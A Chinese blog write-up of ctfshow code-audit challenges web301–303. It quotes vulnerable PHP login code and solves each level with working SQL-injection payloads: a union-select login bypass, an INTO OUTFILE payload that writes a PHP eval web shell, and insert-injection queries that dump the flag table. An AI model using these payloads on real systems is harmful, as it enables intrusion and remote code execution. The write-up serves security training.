目录

  1. 1. 前言
  2. 2. web301
    1. 2.1. 构造临时用户
    2. 2.2. 法2:写入shell
    3. 2.3. 法3:sqlmap盲注
  3. 3. web302
    1. 3.1. 法2:写入shell
  4. 4. web303

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 代码审计专题

2023/8/5 Web ctfshow
  |     |   总文章阅读量:

前言

web301-310

web301

下载题目源码,进入题目,是一个登录界面

image-20230805115632648

看看login.php的源码

<div class="login-font">
		<i><?php echo isset($_SESSION['error']) &&( $_SESSION['error']=1)?"用户名密码错误":"";?> </i> 
	</div>
	<div class="am-u-sm-10 login-am-center">
		<form class="am-form" action="checklogin.php" method="post" >
			<fieldset>
				<div class="am-form-group">
					<input type="text" class="" name="userid" id="" placeholder="输入登陆名称">
				</div>
				<p>
				<div class="am-form-group">
					<input type="password" class="" name="userpwd" id="" placeholder="输入登陆密码">
				</div>
				<p><button type="submit" class="am-btn am-btn-default">登录</button></p>
			</fieldset>
		</form>
	</div>

要想登录成功就要让$_SESSION['error']不存在或者不等于1

跟踪到checklogin.php

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");

?>

这里出现了sql查询语句$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";

只要sql查询成功返回结果就不会使$_SESSION['error']="1";,说白了就是用户名和密码输入正确

那么关键还是在这个sql语句上

构造临时用户

mysql的特性, 在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据就相当于构造了一个虚拟账户

本地测试:

image-20230805121317634

就像这样会生成一个假的用户

当只查询一个字段时,可以通过在username处插入SQL查询语句改变查询结果

image-20230805121501803

所以payload为:

userid = 1' union select 1#&userpwd = 1

image-20230805121809620

成功登录得到flag

法2:写入shell

payload:

userid=a' union select "<?php eval$_POST[cmd]);?>" into outfile "/var/www/html/1.php"#&userpwd=1

法3:sqlmap盲注


web302

和上题一样的登录界面

checklogin.php里的strcasecmp部分修改为

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

跟踪sds_decode到fun.php

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

总之就是让SQL查询出的结果和输入password经过sds_decode函数后的值一致

所以我们在本地让$str的值为1得到返回的md5值再带回联合查询就行了

<?php
function sds_decode($str){
  return md5(md5($str.md5(base64_encode("sds")))."sds");
}
$str=1;
var_dump(sds_decode($str));
?>

payload:

userid = 1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#&userpwd = 1

法2:写入shell

因为这个判断是在SQL语句执行之后,所以对写入shell没有影响


web303

和上题一样的登录界面

这次在checklogin.php中多了长度限制

if(strlen($username)>6){
	die();
}

给了一个sds_user.sql文件

SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for sds_user
-- ----------------------------
DROP TABLE IF EXISTS `sds_user`;
CREATE TABLE `sds_user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `sds_username` varchar(255) DEFAULT NULL,
  `sds_password` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;

-- ----------------------------
-- Records of sds_user
-- ----------------------------
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

发现是admin的账号和密文

fun.php

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>

多了个echo sds_decode("admin");

运行一下得到27151b7b1ad51a38ea66b1529cde5ee4,也就和上面sql文件中的密文是一样的

所以账号为admin,密码也为admin

进入后台,这次flag不在页面上了

回来看看源码

还有dpt.php和dptadd.php两个文件

因为需要登录后的session值所以一开始不能直接访问

if(!isset($_SESSION['login'])){
header("location:login.php");
}

现在进入后台了可以访问dpt.php

image-20230805171547917

在dptadd.php发现存在注入点

<?php
	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}
?>

sql语句为insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."'......,是无过滤insert注入

查表名

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查字段

dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#

查值

dpt_name=1',sds_address=(select flag from sds_fl9g)#

image-20230805172146715

得到flag